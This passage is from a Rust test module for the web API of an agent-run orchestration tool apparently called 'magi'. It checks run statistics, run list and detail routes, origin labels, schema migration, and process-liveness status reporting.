18665            "0123456789abcdef".to_owned(),
18666            "task".to_owned(),
18667            Config::default(),
18668        );
18669        state.id = "20260902-140501-a".to_owned();
18670        state.status = RunStatus::Merged;
18671        for (label, agent) in [('A', "keep"), ('B', "retired")] {
18672            let mut c: Candidate = serde_json::from_value(serde_json::json!({
18673                "index": 0, "label": label.to_string(), "agent": agent,
18674                "branch": "b", "worktree": "/w",
18675            }))
18676            .expect("candidate");
18677            c.label = label;
18678            state.candidates.push(c);
18679        }
18680        let dir = f.runs().join(&state.id);
18681        std::fs::create_dir_all(&dir).expect("run dir");
18682        std::fs::write(
18683            dir.join("run.json"),
18684            serde_json::to_string_pretty(&state).expect("serialize run"),
18685        )
18686        .expect("write run.json");
18687
18688        let agents_of = |v: &serde_json::Value| -> Vec<String> {
18689            v["agents"]
18690                .as_array()
18691                .expect("array")
18692                .iter()
18693                .map(|a| a["agent"].as_str().unwrap().to_owned())
18694                .collect()
18695        };
18696        let hidden = f.get("/api/stats").await.json();
18697        assert_eq!(agents_of(&hidden), ["keep"]);
18698        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
18699        assert_eq!(hidden["totals"]["runs"], 1);
18700
18701        let all = f.get("/api/stats?all=true").await.json();
18702        assert_eq!(agents_of(&all).len(), 2);
18703        assert_eq!(all["retired_hidden"], serde_json::json!([]));
18704        // Verify competitive and solo keys exist on agent entries
18705        let keep_agent = all["agents"]
18706            .as_array()
18707            .unwrap()
18708            .iter()
18709            .find(|a| a["agent"] == "keep")
18710            .unwrap();
18711        assert_eq!(keep_agent["competitive_entered"], 1);
18712        assert_eq!(keep_agent["competitive_wins"], 0);
18713        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
18714        assert_eq!(keep_agent["solo_entered"], 0);
18715        assert_eq!(keep_agent["solo_adopted"], 0);
18716        assert!(keep_agent["solo_adoption_rate"].is_null());
18717    }
18718
18719    #[tokio::test]
18720    async fn stats_release_bumps_split_clean_from_attention() {
18721        use crate::run::ReleaseBump;
18722
18723        let f = Fixture::start().await;
18724
18725        let mut clean = RunState::new(
18726            PathBuf::from("/repo/magi"),
18727            "main".to_owned(),
18728            "0123456789abcdef".to_owned(),
18729            "task".to_owned(),
18730            Config::default(),
18731        );
18732        clean.id = "20260902-140501-a".to_owned();
18733        clean.status = RunStatus::Merged;
18734        clean.release_bump = Some(ReleaseBump {
18735            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18736            version: Some("1.0.0".to_owned()),
18737            automerge_enabled: true,
18738            merged_directly: false,
18739            local: false,
18740            release: None,
18741            problem: None,
18742            action_required: None,
18743            skipped: None,
18744        });
18745
18746        let mut blocked = RunState::new(
18747            PathBuf::from("/repo/magi"),
18748            "main".to_owned(),
18749            "0123456789abcdef".to_owned(),
18750            "task".to_owned(),
18751            Config::default(),
18752        );
18753        blocked.id = "20260902-140502-b".to_owned();
18754        blocked.status = RunStatus::Merged;
18755        blocked.release_bump = Some(ReleaseBump {
18756            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18757            version: Some("1.0.1".to_owned()),
18758            automerge_enabled: false,
18759            merged_directly: false,
18760            local: false,
18761            release: None,
18762            problem: Some("checks red".to_owned()),
18763            action_required: Some("look at the PR".to_owned()),
18764            skipped: None,
18765        });
18766
18767        for state in [&clean, &blocked] {
18768            let dir = f.runs().join(&state.id);
18769            std::fs::create_dir_all(&dir).expect("run dir");
18770            std::fs::write(
18771                dir.join("run.json"),
18772                serde_json::to_string_pretty(state).expect("serialize run"),
18773            )
18774            .expect("write run.json");
18775        }
18776
18777        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18778        assert_eq!(bumps["merged"], 2);
18779        assert_eq!(bumps["recorded"], 2);
18780        assert_eq!(bumps["pr_opened"], 2);
18781        assert_eq!(bumps["automerge_enabled"], 1);
18782        assert_eq!(bumps["needs_attention"], 1);
18783        assert_eq!(bumps["clean"], 1);
18784        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18785        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18786    }
18787
18788    #[tokio::test]
18789    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18790        let f = Fixture::start().await;
18791        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18792
18793        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18794        assert_eq!(bumps["merged"], 1);
18795        assert_eq!(bumps["recorded"], 0);
18796        // `merged` is nonzero, so coverage still reads as a real 0%, not an
18797        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
18798        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18799        // `pr_opened` and `recorded` are both zero here, so these rates have
18800        // no denominator to compute from and must be null.
18801        assert_eq!(bumps["automerge_rate"], Value::Null);
18802        assert_eq!(bumps["attention_rate"], Value::Null);
18803    }
18804
18805    #[tokio::test]
18806    async fn stats_queue_counts_come_from_the_live_queue() {
18807        let f = Fixture::start().await;
18808        let q = f.queue();
18809        let mut queued = Task::new(
18810            "queued task".to_owned(),
18811            "do it".to_owned(),
18812            PathBuf::from("/repo"),
18813            Source::Human,
18814        );
18815        q.put(&mut queued).expect("put queued");
18816        let mut held = Task::new(
18817            "held task".to_owned(),
18818            "do it later".to_owned(),
18819            PathBuf::from("/repo"),
18820            Source::Human,
18821        );
18822        held.hold_machine(Some("out of attempts".to_owned()));
18823        q.put(&mut held).expect("put held");
18824
18825        let queue = f.get("/api/stats").await.json()["queue"].clone();
18826        assert_eq!(queue["queued"], 1);
18827        assert_eq!(queue["held"], 1);
18828        assert_eq!(queue["running"], 0);
18829        assert_eq!(queue["done"], 0);
18830        assert_eq!(queue["failed"], 0);
18831        assert_eq!(queue["blocked"], 0);
18832    }
18833
18834    #[tokio::test]
18835    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
18836        let f = Fixture::start().await;
18837        let stats = f.get("/api/stats").await;
18838        assert_eq!(stats.status, 200);
18839        assert_eq!(stats.json()["totals"]["runs"], 0);
18840        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
18841        assert_eq!(stats.json()["runs_unreadable"], 0);
18842        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
18843        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
18844        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
18845        assert_eq!(stats.json()["repo"], Value::Null);
18846    }
18847
18848    #[tokio::test]
18849    async fn stats_lists_every_repository_with_runs_recorded() {
18850        let f = Fixture::start().await;
18851        write_run_repo(
18852            &f.runs(),
18853            "20260902-140501-a",
18854            RunStatus::Merged,
18855            "/repos/a",
18856        );
18857        write_run_repo(
18858            &f.runs(),
18859            "20260902-140502-b",
18860            RunStatus::Merged,
18861            "/repos/a",
18862        );
18863        write_run_repo(
18864            &f.runs(),
18865            "20260902-140503-c",
18866            RunStatus::Blocked,
18867            "/repos/b",
18868        );
18869
18870        let stats = f.get("/api/stats").await;
18871        assert_eq!(stats.status, 200);
18872        // Unfiltered - the aggregate across both repositories.
18873        assert_eq!(stats.json()["totals"]["runs"], 3);
18874        assert_eq!(stats.json()["repo"], Value::Null);
18875
18876        let repos = stats.json()["repos"].clone();
18877        let repos = repos.as_array().unwrap();
18878        assert_eq!(repos.len(), 2);
18879        // Busiest (2 runs) first.
18880        assert_eq!(repos[0]["repo"], "/repos/a");
18881        assert_eq!(repos[0]["name"], "a");
18882        assert_eq!(repos[0]["runs"], 2);
18883        assert_eq!(repos[1]["repo"], "/repos/b");
18884        assert_eq!(repos[1]["runs"], 1);
18885    }
18886
18887    #[tokio::test]
18888    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
18889        let f = Fixture::start().await;
18890        write_run_repo(
18891            &f.runs(),
18892            "20260902-140501-a",
18893            RunStatus::Merged,
18894            "/repos/a",
18895        );
18896        write_run_repo(
18897            &f.runs(),
18898            "20260902-140502-b",
18899            RunStatus::Blocked,
18900            "/repos/b",
18901        );
18902
18903        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
18904        assert_eq!(stats.status, 200);
18905        assert_eq!(stats.json()["totals"]["runs"], 1);
18906        assert_eq!(stats.json()["totals"]["merged"], 1);
18907        assert_eq!(stats.json()["repo"], "/repos/a");
18908        // The repository list itself is unaffected by the filter - it is
18909        // what a client switches repositories from.
18910        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
18911        // runs_unreadable is a whole-workload count, never scoped to the
18912        // selected repository - see StatsView::runs_unreadable's own doc.
18913        assert_eq!(stats.json()["runs_unreadable"], 0);
18914    }
18915
18916    #[tokio::test]
18917    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
18918        let f = Fixture::start().await;
18919        write_run_repo(
18920            &f.runs(),
18921            "20260902-140501-a",
18922            RunStatus::Merged,
18923            "/repos/a",
18924        );
18925        write_run_repo(
18926            &f.runs(),
18927            "20260902-140502-b",
18928            RunStatus::Merged,
18929            "/repos/b",
18930        );
18931
18932        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
18933            let json = f.get(uri).await.json();
18934            let daily = json["daily"].as_array().expect("daily is an array");
18935            assert_eq!(daily.len(), 30);
18936            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
18937            let mut sorted = dates.clone();
18938            sorted.sort();
18939            assert_eq!(dates, sorted);
18940            for d in daily {
18941                assert_eq!(
18942                    d["merged"].as_u64().unwrap()
18943                        + d["ready"].as_u64().unwrap()
18944                        + d["other"].as_u64().unwrap(),
18945                    d["runs"].as_u64().unwrap()
18946                );
18947            }
18948            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
18949        }
18950    }
18951
18952    #[tokio::test]
18953    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
18954        let f = Fixture::start().await;
18955        write_run_repo(
18956            &f.runs(),
18957            "20260902-140501-a",
18958            RunStatus::Merged,
18959            "/repos/a",
18960        );
18961
18962        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
18963        assert_eq!(stats.status, 404);
18964    }
18965
18966    #[tokio::test]
18967    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
18968        let f = Fixture::start().await;
18969        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
18970
18971        let summary = f.get("/api/runs").await.json();
18972        let row = &summary[0];
18973        assert_eq!(row["short"], "a1b2");
18974        assert_eq!(row["status"], "ready");
18975        assert_eq!(row["done"], true);
18976        assert_eq!(row["title"], "Add a web UI");
18977        assert_eq!(row["repo_name"], "magi");
18978        assert_eq!(row["judges"], 3);
18979        assert_eq!(row["winner"], Value::Null);
18980        assert_eq!(row["reviews"], 0);
18981
18982        // The short id resolves, and the detail route is the state itself, not
18983        // a projection of it: the UI reads fields the summary does not carry.
18984        let detail = f.get("/api/runs/a1b2").await;
18985        assert_eq!(detail.status, 200);
18986        assert_eq!(detail.json()["base_branch"], "main");
18987        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
18988    }
18989
18990    /// `status: "ready"` alone cannot tell a run still headed for a landing
18991    /// (a PR closed without merging, say) apart from one `[merge] mode =
18992    /// "none"` left unmerged for good — the confusion the operator flagged
18993    /// after the CLI report already grew a `not landed — nothing to do by
18994    /// design` line for exactly this case (`report.rs`). Both the list route
18995    /// and the detail route must carry a flag the phone can key on instead of
18996    /// re-deriving it from `status` + `merge.mode` itself.
18997    #[tokio::test]
18998    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
18999        let f = Fixture::start().await;
19000
19001        let mut none_run = RunState::new(
19002            PathBuf::from("/repo/magi"),
19003            "main".to_owned(),
19004            "0123456789abcdef".to_owned(),
19005            "Add a web UI".to_owned(),
19006            Config::default(),
19007        );
19008        none_run.id = "20260902-140503-none".to_owned();
19009        none_run.status = RunStatus::Ready;
19010        none_run.merge = Some(crate::run::MergeOutcome {
19011            mode: crate::config::MergeMode::None,
19012            ok: true,
19013            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
19014            empty: false,
19015        });
19016        write_state(&f.runs(), &none_run);
19017
19018        let mut pr_run = RunState::new(
19019            PathBuf::from("/repo/magi"),
19020            "main".to_owned(),
19021            "0123456789abcdef".to_owned(),
19022            "Add a web UI".to_owned(),
19023            Config::default(),
19024        );
19025        pr_run.id = "20260902-140504-prcl".to_owned();
19026        pr_run.status = RunStatus::Ready;
19027        pr_run.merge = Some(crate::run::MergeOutcome {
19028            mode: crate::config::MergeMode::Pr,
19029            ok: false,
19030            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
19031            empty: false,
19032        });
19033        write_state(&f.runs(), &pr_run);
19034
19035        let summary = f.get("/api/runs").await.json();
19036        let rows: std::collections::HashMap<&str, &Value> = summary
19037            .as_array()
19038            .expect("an array")
19039            .iter()
19040            .map(|r| (r["id"].as_str().expect("an id"), r))
19041            .collect();
19042        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
19043        assert_eq!(
19044            rows[none_run.id.as_str()]["unmerged_by_design"],
19045            true,
19046            "a mode-none Ready must be flagged in the list"
19047        );
19048        assert_eq!(
19049            rows[pr_run.id.as_str()]["unmerged_by_design"],
19050            false,
19051            "a Ready reached by a closed pull request is a different case"
19052        );
19053
19054        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
19055        assert_eq!(none_detail["status"], "ready");
19056        assert_eq!(none_detail["unmerged_by_design"], true);
19057
19058        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
19059        assert_eq!(pr_detail["unmerged_by_design"], false);
19060    }
19061
19062    /// `RunState::active` is only ever cleared by whoever populated it, so the
19063    /// detail route also has to say whether a daemon is actually still
19064    /// driving this run right now — otherwise a seat from a killed process's
19065    /// last wave would read as live forever.
19066    #[tokio::test]
19067    async fn run_core_survives_unavailable_related_stores() {
19068        let home = TempDir::new().unwrap();
19069        let ui = delta_test_ui(home.path());
19070        let state = RunState::new(
19071            PathBuf::from("/repo/magi"),
19072            "main".into(),
19073            "0123456789abcdef".into(),
19074            "Useful core instructions".into(),
19075            Config::default(),
19076        );
19077        let dir = ui.runs.join(&state.id);
19078        std::fs::create_dir_all(&dir).unwrap();
19079        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
19080        std::fs::write(ui.questions.root(), "unavailable").unwrap();
19081        std::fs::write(ui.queue.root(), "unavailable").unwrap();
19082        let core = run_core(State(ui.clone()), Path(state.id.clone()))
19083            .await
19084            .unwrap()
19085            .0;
19086        assert_eq!(core.state.instruction, state.instruction);
19087        assert_eq!(core.state.updated_at, state.updated_at);
19088        assert!(core.task.is_none());
19089        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
19090    }
19091
19092    #[tokio::test]
19093    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
19094        let f = Fixture::start().await;
19095        // Matches `write_daemon`'s hard-coded `current.run`, so the second
19096        // half of this test can claim the daemon is working on it without a
19097        // second helper.
19098        let id = "20260902-140502-bbbb";
19099        let mut state = RunState::new(
19100            PathBuf::from("/repo/magi"),
19101            "main".to_owned(),
19102            "0123456789abcdef".to_owned(),
19103            "Add a web UI".to_owned(),
19104            Config::default(),
19105        );
19106        state.id = id.to_owned();
19107        state.status = RunStatus::Judging;
19108        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
19109        let dir = f.runs().join(id);
19110        std::fs::create_dir_all(&dir).expect("run dir");
19111        std::fs::write(
19112            dir.join("run.json"),
19113            serde_json::to_string_pretty(&state).expect("serialize run"),
19114        )
19115        .expect("write run.json");
19116
19117        // No daemon.json at all, and no `driver_pid` recorded either (this
19118        // state was written directly, never through `execute()`): there is
19119        // nothing to confirm either way, so the route must say `"unknown"` —
19120        // never `"dead"`, which is exactly the false diagnosis a manual `magi
19121        // run` used to get from this route before `driver_pid` existed.
19122        let cold = f.get(&format!("/api/runs/{id}")).await.json();
19123        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
19124        assert_eq!(cold["live"], "unknown", "{cold}");
19125
19126        // A fresh heartbeat naming exactly this run: the same entry now reads
19127        // as confirmed, not merely recorded.
19128        write_daemon(f.home.path(), Timestamp::now());
19129        let warm = f.get(&format!("/api/runs/{id}")).await.json();
19130        assert_eq!(warm["live"], "live", "{warm}");
19131    }
19132
19133    #[test]
19134    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
19135        let home = tempfile::tempdir().expect("temp home");
19136        let runs = home.path().join("runs");
19137        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
19138            let mut state = RunState::new(
19139                PathBuf::from("/repo/magi"),
19140                "main".to_owned(),
19141                "0123456789abcdef".to_owned(),
19142                "Generated review context, not authored task criteria".to_owned(),
19143                Config::default(),
19144            );
19145            state.origin = origin;
19146            state.status = RunStatus::Blocked;
19147            // Earlier migrations must not infer these facts again.
19148            state.driver_exited = false;
19149            state.gate_ran = true;
19150            let expected = serde_json::to_value(&state).expect("serialize current state");
19151            let mut legacy = expected.clone();
19152            legacy["schema"] = serde_json::json!(13);
19153            legacy.as_object_mut().unwrap().remove("task_instruction");
19154            let dir = runs.join(&state.id);
19155            std::fs::create_dir_all(&dir).expect("run dir");
19156            let path = dir.join("run.json");
19157            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
19158            std::fs::write(&path, &body).expect("write legacy run");
19159
19160            for loaded in [
19161                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
19162                read_run(&runs, &state.id).expect("web migration"),
19163            ] {
19164                assert_eq!(loaded.schema, crate::run::SCHEMA);
19165                assert!(loaded.task_instruction.is_none());
19166                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
19167            }
19168            assert_eq!(runs_unreadable(&runs), 0);
19169            assert_eq!(std::fs::read(&path).unwrap(), body);
19170        }
19171    }
19172
19173    /// Where a run came from is shown, and a run written before origins were
19174    /// recorded (schema 12, no `origin` key) stays readable and says so.
19175    #[tokio::test]
19176    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
19177        let f = Fixture::start().await;
19178        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
19179            let mut state = RunState::new(
19180                PathBuf::from("/repo/magi"),
19181                "main".to_owned(),
19182                "0123456789abcdef".to_owned(),
19183                "Add a web UI".to_owned(),
19184                Config::default(),
19185            );
19186            state.id = id.to_owned();
19187            state.origin = origin;
19188            let mut value = serde_json::to_value(&state).expect("serialize run");
19189            if let Some(schema) = schema {
19190                value["schema"] = serde_json::json!(schema);
19191                value.as_object_mut().unwrap().remove("origin");
19192            }
19193            let dir = f.runs().join(id);
19194            std::fs::create_dir_all(&dir).expect("run dir");
19195            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
19196        };
19197        write(
19198            "20260930-092817-ec34",
19199            Some(crate::run::Origin::from_agent_env(
19200                Some(("4a7b".to_owned(), "chat".to_owned())),
19201                None,
19202            )),
19203            None,
19204        );
19205        write("20260930-092817-0ld1", None, Some(12));
19206
19207        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
19208        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
19209        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
19210
19211        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
19212        assert_eq!(
19213            old["origin_label"], "origin unknown (started before origins were recorded)",
19214            "{old}"
19215        );
19216        assert!(old["origin"].is_null(), "{old}");
19217
19218        let list = f.get("/api/runs").await.json();
19219        let labels: Vec<_> = list
19220            .as_array()
19221            .unwrap()
19222            .iter()
19223            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
19224            .collect();
19225        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
19226    }
19227
19228    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
19229    /// review` claims no daemon at all, so before this field existed the
19230    /// route above read it as `"dead"` — indistinguishable from a run a
19231    /// killed process abandoned — the whole time it was genuinely still
19232    /// answering. With a live pid recorded, it must read `"live"` even
19233    /// though no daemon claims it.
19234    #[tokio::test]
19235    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
19236        let f = Fixture::start().await;
19237        let id = "20260922-090000-cccc";
19238        let mut state = RunState::new(
19239            PathBuf::from("/repo/magi"),
19240            "main".to_owned(),
19241            "0123456789abcdef".to_owned(),
19242            "Review only".to_owned(),
19243            Config::default(),
19244        );
19245        state.id = id.to_owned();
19246        state.status = RunStatus::Reviewing;
19247        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
19248        // This test process's own pid: guaranteed alive, and never needs a
19249        // real daemon or a second process to prove it. The matching start-time
19250        // marker is what `liveness` now requires alongside a live pid — see
19251        // `RunState::driver_started_at`'s own doc for why the pid alone is
19252        // not enough.
19253        state.driver_pid = Some(std::process::id());
19254        state.driver_started_at = Some(
19255            crate::proc::process_started_at(std::process::id())
19256                .expect("this test process's own start time must be queryable"),
19257        );
19258        let dir = f.runs().join(id);
19259        std::fs::create_dir_all(&dir).expect("run dir");
19260        std::fs::write(
19261            dir.join("run.json"),
19262            serde_json::to_string_pretty(&state).expect("serialize run"),
19263        )
19264        .expect("write run.json");
19265
19266        let detail = f.get(&format!("/api/runs/{id}")).await.json();
19267        assert_eq!(detail["live"], "live", "{detail}");
19268    }
19269
19270    /// A killed manual run's pid can be handed to a wholly unrelated later
19271    /// process — a live query on `driver_pid` alone would read this as
19272    /// `"live"`, exactly the false positive `driver_started_at` exists to
19273    /// catch (see that field's own doc, and `RunState::liveness_with`'s
19274    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
19275    #[tokio::test]
19276    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
19277        let f = Fixture::start().await;
19278        let id = "20260922-090100-dddd";
19279        let mut state = RunState::new(
19280            PathBuf::from("/repo/magi"),
19281            "main".to_owned(),
19282            "0123456789abcdef".to_owned(),
19283            "Review only".to_owned(),
19284            Config::default(),
19285        );
19286        state.id = id.to_owned();
19287        state.status = RunStatus::Reviewing;
19288        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
19289        // This test process's own pid really is alive, but the marker
19290        // recorded here does not match what it actually started at —
19291        // standing in for the pid having since been reused by a different
19292        // process than the one that wrote `run.json`.
19293        state.driver_pid = Some(std::process::id());
19294        state.driver_started_at = Some("1".to_owned());
19295        let dir = f.runs().join(id);
19296        std::fs::create_dir_all(&dir).expect("run dir");
19297        std::fs::write(
19298            dir.join("run.json"),
19299            serde_json::to_string_pretty(&state).expect("serialize run"),
19300        )
19301        .expect("write run.json");
19302
19303        let detail = f.get(&format!("/api/runs/{id}")).await.json();
19304        assert_eq!(detail["live"], "dead", "{detail}");
19305    }
19306
19307    /// The deck's competition list is normally the first place an operator
19308    /// sees an old run. It must carry the same process verdict as detail, or
19309    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
19310    #[test]
19311    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
19312        let mk = |id: &str, pid: Option<u32>| {
19313            let mut s = RunState::new(
19314                PathBuf::from("/repo/magi"),
19315                "main".to_owned(),
19316                "0123456789abcdef".to_owned(),
19317                "Add a web UI".to_owned(),
19318                Config::default(),
19319            );
19320            s.id = id.to_owned();
19321            s.driver_pid = pid;
19322            s.driver_started_at = Some("1790000000".to_owned());
19323            s
19324        };
19325        let states = vec![
19326            mk("20260902-140502-aaaa", Some(77)),
19327            mk("20260902-140502-bbbb", Some(77)),
19328            mk("20260902-140502-cccc", Some(77)),
19329            mk("20260902-140502-dddd", None),
19330        ];
19331        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
19332        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
19333        let sup: HashMap<String, String> = [(
19334            "20260902-140502-aaaa".to_owned(),
19335            "20260902-140502-cccc".to_owned(),
19336        )]
19337        .into();
19338
19339        let status_calls = std::cell::Cell::new(0);
19340        let identity_calls = std::cell::Cell::new(0);
19341        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
19342            |_| {
19343                status_calls.set(status_calls.get() + 1);
19344                Some(true)
19345            },
19346            |_| {
19347                identity_calls.set(identity_calls.get() + 1);
19348                Some("1790000000".to_owned())
19349            },
19350        ));
19351        let rows = summarize(
19352            states,
19353            &open,
19354            &claimed,
19355            &sup,
19356            |p| probe.borrow_mut().status(p),
19357            |p| probe.borrow_mut().started_at(p),
19358        );
19359
19360        assert_eq!(status_calls.get(), 1, "one pid, one status query");
19361        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
19362        assert_eq!(rows.len(), 4);
19363        assert!(!rows[0].waiting && rows[1].waiting);
19364        assert_eq!(rows[0].live, crate::run::Liveness::Live);
19365        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
19366        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
19367        assert_eq!(rows[1].superseded_by, None);
19368    }
19369
19370    #[test]
19371    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
19372        let mut state = RunState::new(
19373            PathBuf::from("/repo/magi"),
19374            "main".to_owned(),
19375            "0123456789abcdef".to_owned(),
19376            "Review only".to_owned(),
19377            Config::default(),
19378        );
19379        state.id = "20260922-090200-dead".to_owned();
19380        state.status = RunStatus::Reviewing;
19381        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
19382            .expect("serialize list row");
19383        assert_eq!(row["status"], "reviewing");
19384        assert_eq!(row["display_status"], "stale");
19385        assert_eq!(row["live"], "dead", "{row}");
19386        assert!(!row["done"].as_bool().unwrap());
19387    }
19388
19389    #[test]
19390    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
19391        use crate::run::Liveness::{Dead, Live, Unknown};
19392        let mut state = RunState::new(
19393            PathBuf::from("/repo/magi"),
19394            "main".to_owned(),
19395            "abc".to_owned(),
19396            "Review only".to_owned(),
19397            Config::default(),
19398        );
19399        for (status, parked, node, waiting, live, expected) in [
19400            (
19401                RunStatus::Judging,
19402                true,
19403                "github-text",
19404                false,
19405                Dead,
19406                "parked",
19407            ),
19408            (RunStatus::Judging, false, "park", false, Dead, "stale"),
19409            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
19410            (
19411                RunStatus::Judging,
19412                true,
19413                "github-text",
19414                true,
19415                Dead,
19416                "waiting",
19417            ),
19418            (
19419                RunStatus::Judging,
19420                false,
19421                "github-text",
19422                true,
19423                Dead,
19424                "waiting",
19425            ),
19426            (
19427                RunStatus::Judging,
19428                false,
19429                "github-text",
19430                false,
19431                Dead,
19432                "stale",
19433            ),
19434            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
19435            (RunStatus::Judging, true, "park", false, Live, "judging"),
19436            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
19437            (RunStatus::Merged, true, "park", false, Dead, "merged"),
19438            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
19439            (
19440                RunStatus::Blocked,
19441                true,
19442                "github-text",
19443                true,
19444                Dead,
19445                "waiting",
19446            ),
19447        ] {
19448            state.status = status;
19449            state.parked = parked;
19450            state.events.clear();
19451            state.event(
19452                "park",
19453                "an earlier park does not determine the latest state",
19454            );
19455            state.event(node, "message is not used for classification");
19456            let summary = RunSummary::of(&state, waiting, live);
19457            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
19458            assert_eq!(
19459                summary.display_status, expected,
19460                "{status:?}/{node}/{live:?}"
19461            );
19462            assert_eq!(detail.display_status, summary.display_status);
19463            assert_eq!(detail.waiting, summary.waiting);
19464        }
19465        state.status = RunStatus::Judging;
19466        state.parked = false;
19467        state.events.clear();
19468        assert_eq!(run_display_status(&state, false, Dead), "stale");
19469    }
19470
19471    #[test]
19472    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
19473        use crate::run::Liveness::{Dead, Live, Unknown};
19474        let mut state = RunState::new(
19475            PathBuf::from("/repo/magi"),
19476            "main".to_owned(),
19477            "abc".to_owned(),
19478            "Badge".to_owned(),
19479            Config::default(),
19480        );
19481        for (status, waiting, live, superseded, expected) in [
19482            (RunStatus::Gating, false, Dead, false, "stale"),
19483            (RunStatus::Gating, false, Dead, true, "superseded"),
19484            (RunStatus::Gating, false, Unknown, true, "superseded"),
19485            (RunStatus::Gating, true, Dead, true, "superseded"),
19486            (RunStatus::Gating, true, Dead, false, "waiting"),
19487            (RunStatus::Gating, false, Unknown, false, "gating"),
19488            (RunStatus::Gating, false, Live, true, "gating"),
19489            (RunStatus::Gating, true, Live, true, "waiting"),
19490            (RunStatus::Merged, false, Dead, true, "merged"),
19491            (RunStatus::Blocked, false, Dead, true, "blocked"),
19492        ] {
19493            state.status = status;
19494            let display = run_display_status(&state, waiting, live);
19495            assert_eq!(
19496                run_badge_status(&state, &display, live, superseded),
19497                expected,
19498                "{status:?}/{live:?}/superseded={superseded}"
19499            );
19500        }
19501    }
19502
19503    #[test]
19504    fn summarize_and_detail_expose_badge_status() {
19505        use crate::run::Liveness::Dead;
19506        let mut state = RunState::new(
19507            PathBuf::from("/repo/magi"),
19508            "main".to_owned(),
19509            "abc".to_owned(),
19510            "Badge".to_owned(),
19511            Config::default(),
19512        );
19513        state.status = RunStatus::Gating;
19514        let none = HashSet::new();
19515        let id = state.id.clone();
19516        let mut by = HashMap::new();
19517        let rows = summarize(
19518            [state.clone()],
19519            &none,
19520            &none,
19521            &by,
19522            |_| Some(false),
19523            |_| None,
19524        );
19525        // No driver recorded: liveness is not provably dead, so the node stays.
19526        assert_eq!(rows[0].badge_status, rows[0].display_status);
19527        by.insert(id, "20260901-000000-913b".to_owned());
19528        let detail = RunDetailView::of(
19529            state.clone(),
19530            false,
19531            Dead,
19532            Some("913b".to_owned()),
19533            None,
